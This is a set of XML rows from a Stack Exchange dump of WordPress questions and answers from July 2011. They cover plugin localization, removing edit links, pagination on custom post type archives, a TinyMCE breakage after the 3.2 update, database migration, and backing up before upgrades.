  <row Id="22590" PostTypeId="1" AcceptedAnswerId="22598" CreationDate="2011-07-11T00:27:41.977" Score="0" ViewCount="12" Body="&lt;p&gt;In translating a plugin, how should &quot;WordPress&quot; key terms be handled? For instance, should the following need translations or should they be left as is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Taxonomy&lt;/li&gt;&#xA;&lt;li&gt;Custom Post Type&lt;/li&gt;&#xA;&lt;li&gt;Taxonomy Term&lt;/li&gt;&#xA;&lt;li&gt;Plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since these terms all have very specific meanings and are documented within the Codex using these English words, would it make more sense to just leave them in English as opposed to translating them? I almost think of these words as proper nouns that would not be changed when translated.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-11T07:18:50.527" Title="Is it necessary to translate WordPress key terms when localizing a plugin" Tags="&lt;plugins&gt;&lt;l18n&gt;" AnswerCount="1" />
  <row Id="22591" PostTypeId="1" AcceptedAnswerId="22592" CreationDate="2011-07-11T01:16:07.613" Score="0" ViewCount="47" Body="&lt;p&gt;Can someone please assist with how to remove from my theme, whilst in author mode, the edit_post_link (Edit link), throughout all my pages. Which php files in the Twenty Eleven theme (WordPress v3.2) do I need to comment out to no longer display this edit link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise that you only see this during author mode but would like to know how to remove altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1053" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-11T01:34:00.497" LastActivityDate="2011-07-11T08:39:24.890" Title="How to Remove all Instances of edit_post_link" Tags="&lt;php&gt;&lt;page&gt;&lt;theme-twenty-eleven&gt;" AnswerCount="2" />
  <row Id="22592" PostTypeId="2" ParentId="22591" CreationDate="2011-07-11T01:33:34.367" Score="1" ViewCount="" Body="&lt;p&gt;It's the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/edit_post_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;edit_post_link()&lt;/code&gt;&lt;/a&gt; function. You'll find lines like the following, that you need to comment out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// from /twentyeleven/content-intro.php&#xA;edit_post_link( __( 'Edit', 'twentyeleven' ), '&amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-11T01:38:37.313" LastActivityDate="2011-07-11T01:38:37.313" />
  <row Id="22593" PostTypeId="1" AcceptedAnswerId="22595" CreationDate="2011-07-11T02:56:52.923" Score="0" ViewCount="28" Body="&lt;p&gt;Thank you in advanced.&#xA;I know there are plugins that can do this, but I am looking for a simple solution for my function file. &#xA;I would like to display the excerpt for all posts with the more tag for public visitors, even for private posts.  &lt;/p&gt;&#xA;" OwnerUserId="6924" LastActivityDate="2011-07-11T03:44:45.160" Title="display public excerpt for private post" Tags="&lt;functions&gt;&lt;excerpt&gt;&lt;private&gt;" AnswerCount="1" />
  <row Id="22594" PostTypeId="1" AcceptedAnswerId="24133" CreationDate="2011-07-11T03:40:32.690" Score="0" ViewCount="50" Body="&lt;p&gt;I'm using a plugin that failed after upgrade to wp3.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error log shows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 for &lt;code&gt;query SELECT post_id, meta_value, post_status FROM bxxoai_postmeta LEFT JOIN bxxoai_posts ON post_id=bxxoai_posts.ID WHERE post_status='publish' AND meta_key='wpfp_favorites' AND meta_value &amp;gt; 0 ORDER BY ROUND(meta_value) DESC LIMIT 0,  made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, wpfp_widget_view, wpfp_list_most_favorited&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;mysql version I used is 5.0.92-community&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm clueless with database, can anyone please teach or help explain to me what needed to be done to fix this?&lt;/p&gt;&#xA;" OwnerUserId="6851" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-11T08:47:56.447" LastActivityDate="2011-07-26T16:59:46.807" Title="Need help fixing sql syntax error after WP 3.2 upgrade" Tags="&lt;database&gt;&lt;upgrade&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="22595" PostTypeId="2" ParentId="22593" CreationDate="2011-07-11T03:44:45.160" Score="0" ViewCount="" Body="&lt;p&gt;I've not tested this, but you should be able to complete this task by placing the following code in your template above the loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(&#xA;    array(&#xA;        'post_status' =&amp;gt; array(&#xA;            'published',&#xA;            'private'&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should allow for published and private posts to be displayed in that template.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-11T03:44:45.160" CommentCount="6" />
  <row Id="22596" PostTypeId="2" ParentId="22557" CreationDate="2011-07-11T04:56:58.047" Score="0" ViewCount="" Body="&lt;p&gt;From the comments fo @OneTrickPony, I came to know that,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Mystique hasn't been updated for a long time, but a major update is going to be released these days, and most likely this won't happen in the new version...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I conclude that issue is coming from the Theme itself. ( Not sure, but from the comments of @Milo &amp;amp; @OneTrickPony )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I uninstalled &amp;amp; removed &lt;code&gt;mystique&lt;/code&gt; theme &amp;amp; at last I installed other theme. I know this is not the exact solution. But I had no option. &lt;/p&gt;&#xA;" OwnerUserId="6401" LastActivityDate="2011-07-11T04:56:58.047" />
  <row Id="22597" PostTypeId="1" CreationDate="2011-07-11T05:06:06.543" Score="0" ViewCount="67" Body="&lt;p&gt;Here is how I registered my custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register Talent&#xA;add_action('init', 'register_talent');&#xA;&#xA;function register_talent() {&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Talent', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Talent', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'talent item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Talent'),&#xA;        'edit_item' =&amp;gt; __('Edit Talent'),&#xA;        'new_item' =&amp;gt; __('New Talent'),&#xA;        'view_item' =&amp;gt; __('View Talent'),&#xA;        'search_items' =&amp;gt; __('Search Talents'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/dashboard-icon.png',&#xA;        'supports' =&amp;gt; array('title','editor','thumbnail','comments'),&#xA;        'has_archive' =&amp;gt; 'talent'&#xA;      );&#xA;&#xA;    register_post_type( 'talent' , $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;archive-talent.php&lt;/code&gt; for this which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php get_header();?&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;                $temp = $wp_query;&#xA;                $wp_query = null;&#xA;                $wp_query = new WP_Query();&#xA;                $wp_query-&amp;gt;query('post_type=talent&amp;amp;paged=' . $paged . '&amp;amp;posts_per_page=4');&#xA;&#xA;                while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;article class=&quot;post talent&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;section class=&quot;entry&quot;&amp;gt;&#xA;                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;                endwhile; &#xA;                my_paginate_links();&#xA;                $wp_query = null;&#xA;                $wp_query = $temp;&#xA;                wp_reset_query();&#xA;            ?&amp;gt;&#xA;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pagination function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Pagination&#xA;function my_paginate_links() {&#xA;  global $wp_rewrite, $wp_query;&#xA;  $wp_query-&amp;gt;query_vars['paged'] &amp;gt; 1 ? $current = $wp_query-&amp;gt;query_vars['paged'] : $current = 1;&#xA;  $pagination = array(&#xA;    'base' =&amp;gt; @add_query_arg('page','%#%'),&#xA;        'format' =&amp;gt; '',&#xA;        'total' =&amp;gt; $wp_query-&amp;gt;max_num_pages,&#xA;        'current' =&amp;gt; $current,&#xA;        'prev_text' =&amp;gt; __(''),&#xA;        'next_text' =&amp;gt; __('next &amp;amp;raquo;'),&#xA;        'end_size' =&amp;gt; 1,&#xA;        'mid_size' =&amp;gt; 2,&#xA;        'show_all' =&amp;gt; true,&#xA;        'type' =&amp;gt; 'list'&#xA;    );&#xA;    if ( $wp_rewrite-&amp;gt;using_permalinks() )&#xA;            $pagination['base'] = user_trailingslashit( trailingslashit( remove_query_arg( 's', get_pagenum_link( 1 ) ) ) . 'page/%#%/', 'paged' );&#xA;    if ( !empty( $wp_query-&amp;gt;query_vars['s'] ) )&#xA;            $pagination['add_args'] = array( 's' =&amp;gt; get_query_var( 's' ) );&#xA;    echo paginate_links( $pagination );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click on page 2, it takes me to the error404 page. I've really been wracking my brain over this and why it's not working. If anyone sees anything that looks off, I would really appreciate some help. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="3714" LastEditorDisplayName="" LastEditDate="2011-07-11T05:12:44.197" LastActivityDate="2011-07-11T05:12:44.197" Title="custom post type archive pagination not working" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;custom-post-type-archives&gt;" CommentCount="4" />
  <row Id="22598" PostTypeId="2" ParentId="22590" CreationDate="2011-07-11T07:18:50.527" Score="1" ViewCount="" Body="&lt;p&gt;These terms are not proper nouns and are translated in localized versions of WP Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, they should also be translated in plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, you could use them without a textdomain and WP would load it's own translation.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-11T07:18:50.527" CommentCount="1" />
  <row Id="22599" PostTypeId="1" AcceptedAnswerId="24749" CreationDate="2011-07-11T07:25:51.807" Score="5" ViewCount="537" Body="&lt;p&gt;My code was working up until the 3.2 update, where I noticed that tinyMCE has been updated too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas why this may not work now? I don't get any console errors but I don't get any tinyMCE editors on the page either!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CLARIFICATION: every instance of the TinyMCE editor has disappeared!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FURTHER CLARIFICATION: this is only occurring on my custom post type pages where I have custom instances of the TinyMCE editor. I still have the default &quot;theEditor&quot; MCE on the default Posts area.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function meta_genus_species() {&#xA;    global $post;&#xA;&#xA;    $genus = get_post_custom_values( 'genus', $post-&amp;gt;ID );&#xA;    $species = get_post_custom_values( 'species', $post-&amp;gt;ID );&#xA;    $etymology = get_post_custom_values( 'etymology', $post-&amp;gt;ID );&#xA;    $family = get_post_custom_values( 'family', $post-&amp;gt;ID );&#xA;    $common_names = get_post_custom_values( 'common_names', $post-&amp;gt;ID );&#xA;&#xA;    if (!isset($id)) { $id = &quot;etymology&quot;; }&#xA;    if (!isset($temp_min)) { $temp_min = plugins_url('images/temp_max.png' , __FILE__); }&#xA;    if (!isset($temp_max)) { $temp_max = plugins_url('images/temp_min.png' , __FILE__); }&#xA;    if (!isset($pH_min)) { $pH_min = plugins_url('images/pH_max.png' , __FILE__); }&#xA;    if (!isset($pH_max)) { $pH_max = plugins_url('images/pH_max.png' , __FILE__); }&#xA;&#xA;$tinyMCE = &amp;lt;&amp;lt;&amp;lt;EOT&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery(document).ready(function($) {&#xA;            $(&quot;#{$id}&quot;).addClass(&quot;mceEditor&quot;);&#xA;            if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp;&#xA;                 typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;              tinyMCE.settings = {&#xA;                theme : &quot;advanced&quot;,&#xA;                mode : &quot;none&quot;,&#xA;                language : &quot;en&quot;,&#xA;                height:&quot;75&quot;,&#xA;                width:&quot;100%&quot;,&#xA;                theme_advanced_layout_manager : &quot;SimpleLayout&quot;,&#xA;                theme_advanced_toolbar_location : &quot;top&quot;,&#xA;                theme_advanced_toolbar_align : &quot;left&quot;,&#xA;                theme_advanced_buttons1 : &quot;bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,temp_min,temp_max,pH_min,pH_max&quot;,&#xA;                theme_advanced_buttons2 : &quot;&quot;,&#xA;                theme_advanced_buttons3 : &quot;&quot;,&#xA;                setup : function(ed) {&#xA;                    ed.addButton('temp_min', {&#xA;                        title : 'Temperature: Minimum',&#xA;                        image : '{$temp_min}',&#xA;                        onclick : function() {&#xA;                            ed.focus();&#xA;                            ed.selection.setContent('[temp_min]');&#xA;                        }&#xA;                    }),&#xA;                    ed.addShortcut(&quot;ctrl+1&quot;, &quot;temp_min&quot;, &quot;temp_min&quot;),&#xA;                    ed.addButton('temp_max', {&#xA;                        title : 'Temperature: Maximum',&#xA;                        image : '{$temp_max}',&#xA;                        onclick : function() {&#xA;                            ed.focus();&#xA;                            ed.selection.setContent('[temp_max]');&#xA;                        }&#xA;                    }),&#xA;                    ed.addButton('pH_min', {&#xA;                        title : 'pH: Minimum',&#xA;                        image : '{$pH_min}',&#xA;                        onclick : function() {&#xA;                            ed.focus();&#xA;                            ed.selection.setContent('[pH_min]');&#xA;                        }&#xA;                    }),&#xA;                    ed.addButton('pH_max', {&#xA;                        title : 'pH: Maximum',&#xA;                        image : '{$pH_max}',&#xA;                        onclick : function() {&#xA;                            ed.focus();&#xA;                            ed.selection.setContent('[pH_max]');&#xA;                        }&#xA;                    });&#xA;                }&#xA;              };&#xA;              tinyMCE.execCommand(&quot;mceAddControl&quot;, true, &quot;{$id}&quot;);&#xA;            }&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;EOT;&#xA;    echo $tinyMCE;&#xA;&#xA;    ?&amp;gt;&#xA;&amp;lt;div class=&quot;meta_control normal&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Description of taxonomy.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Genus&amp;lt;/label&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;input name=&quot;genus&quot; class=&quot;text&quot; value=&quot;&amp;lt;?php if(isset($genus[0])) { echo esc_attr( $genus[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;span&amp;gt;Testing...&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Species&amp;lt;/label&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;input name=&quot;species&quot; class=&quot;text&quot;  value=&quot;&amp;lt;?php if(isset($species[0])) { echo esc_attr( $species[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;span&amp;gt;Testing...&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Etymology&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;etymology&quot; id=&quot;etymology&quot;&amp;gt;&amp;lt;?php if(isset($etymology[0])) { echo esc_attr( $etymology[0] ); } ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;span&amp;gt;Description&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Family&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;family&quot; class=&quot;text&quot;  value=&quot;&amp;lt;?php if(isset($family[0])) { echo esc_attr( $family[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;span&amp;gt;Description&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Common Names&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;common_names&quot; class=&quot;text&quot;  value=&quot;&amp;lt;?php if(isset($common_names[0])) { echo esc_attr( $common_names[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;span&amp;gt;Description&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;}&#xA;&#xA;function meta_authored() {&#xA;    global $post;&#xA;&#xA;    $species_author = get_post_custom_values( 'species_author', $post-&amp;gt;ID );&#xA;    $year_described = get_post_custom_values( 'year_described', $post-&amp;gt;ID );&#xA;&#xA;    ?&amp;gt;&#xA;&amp;lt;div class=&quot;meta_control side&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;Species Author&amp;lt;/label&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input name=&quot;species_author&quot; class=&quot;text&quot; value=&quot;&amp;lt;?php if(isset($species_author[0])) { echo esc_attr( $species_author[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Year Described&amp;lt;/label&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input name=&quot;year_described&quot; class=&quot;text&quot; value=&quot;&amp;lt;?php if(isset($year_described[0])) { echo esc_attr( $year_described[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6344" LastEditorUserId="6344" LastEditorDisplayName="" LastEditDate="2011-07-12T08:25:50.100" LastActivityDate="2011-08-04T14:20:00.867" Title="Wordpress 3.2 has broken my TinyMCE code" Tags="&lt;tinymce&gt;&lt;update&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="22601" PostTypeId="2" ParentId="5211" CreationDate="2011-07-11T08:27:43.553" Score="-1" ViewCount="" Body="&lt;p&gt;By clean blog you mean organized blog... How about replies to a comment being shown beneath it.. inside a box or something..somewhat indented... and the comments all in the same line..one below each other&lt;/p&gt;&#xA;" OwnerUserId="6926" LastActivityDate="2011-07-11T08:27:43.553" />
  <row Id="22602" PostTypeId="1" AcceptedAnswerId="22626" CreationDate="2011-07-11T08:28:38.187" Score="0" ViewCount="40" Body="&lt;p&gt;I've noticed a problem that pops up occasionally when moving a WP install from one place to another (usually the same server.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copy all the files to their new location, get a mysql dump, update all references to the old paths in the sql file, then import it to the new database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything always works just fine apart from custom settings that have been added using register_setting.  I can still see them in the database, but WP completely ignores them, and they need to be added again in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something obvious I'm overlooking here? I can post up the code I'm using to build the custom settings panels if necessary...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="6827" LastActivityDate="2011-07-11T13:32:07.027" Title="Custom settings disappear during database migration?" Tags="&lt;custom-menus&gt;&lt;settings&gt;&lt;migration&gt;" AnswerCount="2" />
  <row Id="22603" PostTypeId="2" ParentId="22591" CreationDate="2011-07-11T08:39:24.890" Score="1" ViewCount="" Body="&lt;p&gt;One way is to edit the template files of your theme, as you mentioned in your question you are using Twenty Eleven, so you can follow the advice of &lt;strong&gt;@kaiser&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way that I will prefer instead of modifying the template files is to use the filter. The advantage of filter is it will work with other themes too. The disadvantage of filter is that you will have empty &lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt; tags in your html source, though they won't be visible on the actual page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can put the following code in your functions.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_remove_edit_post_link( $link ) {&#xA;    return '';&#xA;}&#xA;add_filter('edit_post_link', 'wpse_remove_edit_post_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S you can use the filter to disable the edit post link on selective posts too.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-07-11T08:39:24.890" CommentCount="1" />
  <row Id="22604" PostTypeId="2" ParentId="22602" CreationDate="2011-07-11T08:40:41.897" Score="-1" ViewCount="" Body="&lt;p&gt;You're best bet is to update the URL: &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Changing_The_Site_URL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try avoided editing anything directly in the database.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-11T08:40:41.897" />
  <row Id="22605" PostTypeId="2" ParentId="17719" CreationDate="2011-07-11T09:39:17.790" Score="3" ViewCount="" Body="&lt;p&gt;How about this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_generate_attachment_metadata', 'delete_fullsize_image' );&#xA;function delete_fullsize_image( $metadata )&#xA;{&#xA;    $upload_dir = wp_upload_dir();&#xA;    $full_image_path = trailingslashit( $upload_dir['basedir'] ) . $metadata['file'];&#xA;    $deleted = unlink( $full_image_path );&#xA;&#xA;    return $metadata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;Not 100% sure everything will work ok without the main image, but it does the trick. You wont be able to regenerate the thumbnails / sizes as the main image is required for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just re-read the question, I noticed you are wanting this to only happen when people upload via a form. Must be early for me, the above code will delete any attachment uploaded. I guess all you would need to do is find someway of checking if the upload was via your gravity form. Hope it helps you anyway.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastEditorUserId="2264" LastEditorDisplayName="" LastEditDate="2011-07-11T10:03:12.450" LastActivityDate="2011-07-11T10:03:12.450" />
  <row Id="22606" PostTypeId="2" ParentId="22325" CreationDate="2011-07-11T10:05:27.780" Score="0" ViewCount="" Body="&lt;p&gt;No more problem with a fresh install and installing only the WP No Category Base plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be a compatibility problem with WP-PageNavi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will edit my answer if I find a solution to my first problem.&lt;/p&gt;&#xA;" OwnerUserId="6839" LastActivityDate="2011-07-11T10:05:27.780" />
  <row Id="22607" PostTypeId="1" AcceptedAnswerId="22609" CreationDate="2011-07-11T10:10:08.453" Score="1" ViewCount="198" Body="&lt;p&gt;Sometimes upgrading WP is catastrophic: critical plugins don't work any more (and new compatible versions don't exist yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do the WP veterans do about it? Do they upgrade WP after the boring work of backing up everything (and the horrible, awful perspective of having to reinstall the previous version after a potential catastrophe) or do they just never upgrade WP?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-07-11T11:50:00.500" LastActivityDate="2011-07-11T11:50:00.500" Title="How do WordPress veterans deal with the issues of upgrading WordPress?" Tags="&lt;upgrade&gt;&lt;backup&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="22608" PostTypeId="2" ParentId="22607" CreationDate="2011-07-11T10:11:11.570" Score="1" ViewCount="" Body="&lt;p&gt;always keep a local copy of your site that you can test any upgrades on first.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-11T10:11:11.570" CommentCount="3" />
  <row Id="22609" PostTypeId="2" ParentId="22607" CreationDate="2011-07-11T10:12:58.197" Score="5" ViewCount="" Body="&lt;p&gt;&quot;the boring work of backup&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backups may be boring, but they are essential and gives you a fallback position in case things go wrong. Without backups, you're essentially playing Russian roulette with your site. It doesn't even take very long, and reverting isn't horrible or awful, it's pretty easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP veterans take backups, test upgrades on non-production servers, and when they're happy do the upgrade. Most 'ordinary' people don't have access to multiple servers or even local development environments, in which case the best way to mitigate your risk is to have a backup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to the command line, then doing a complete backup is as easy as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;tar czvf yoursite_backup.tar.gz /path/to/your/wordpress&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mysqldump -u &amp;lt;username&amp;gt; -p &amp;lt;database name&amp;gt; &amp;gt; mysqlbackup.sql&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Reverting is as easy as unarchiving your WP backup to your WP directory and importing the MySQL dump into your database.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-07-11T10:34:33.983" LastActivityDate="2011-07-11T10:34:33.983" CommentCount="3" />
  <row Id="22611" PostTypeId="2" ParentId="22607" CreationDate="2011-07-11T10:31:48.693" Score="2" ViewCount="" Body="&lt;p&gt;I do backups via shell (see &lt;a href=&quot;http://codex.wordpress.org/User%3aHakre/Grep_And_Friends&quot; rel=&quot;nofollow&quot;&gt;Grep and Friends&lt;/a&gt; for some commands and examples). File and database backup runs within seconds even on larger sites and stuff is easy to restore. No need to worry about backups and upgrade crashes at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a perfect world all plugins and themes would have been already tested with the new WP version before I upgrade, well, but that's not always the case. So I just do always the backup. It's easy, it's fast and it's save. Let the upgrade crashes come, I don't fear them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You just have a problem with upgrade crashes if you don't backup. That easy it is.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dislike making back-ups, don't upgrade. Instead backport security fixes to your old version. That doesn't mean you need to take care for everything on your own, you can go with the &lt;a href=&quot;http://packages.debian.org/stable/web/wordpress&quot; rel=&quot;nofollow&quot;&gt;debian package&lt;/a&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wordpress project itself does not offer a long-term-support version, not even support for the pre-lastest version, only support for the latest version. A bit pushy on upgrades so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want a more relaxed journey, don't jump on the first release. Skip the .0. Wait until the .1 is out. That's a good rule of thumb since years with Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-11T10:39:11.243" LastActivityDate="2011-07-11T10:39:11.243" CommentCount="2" />
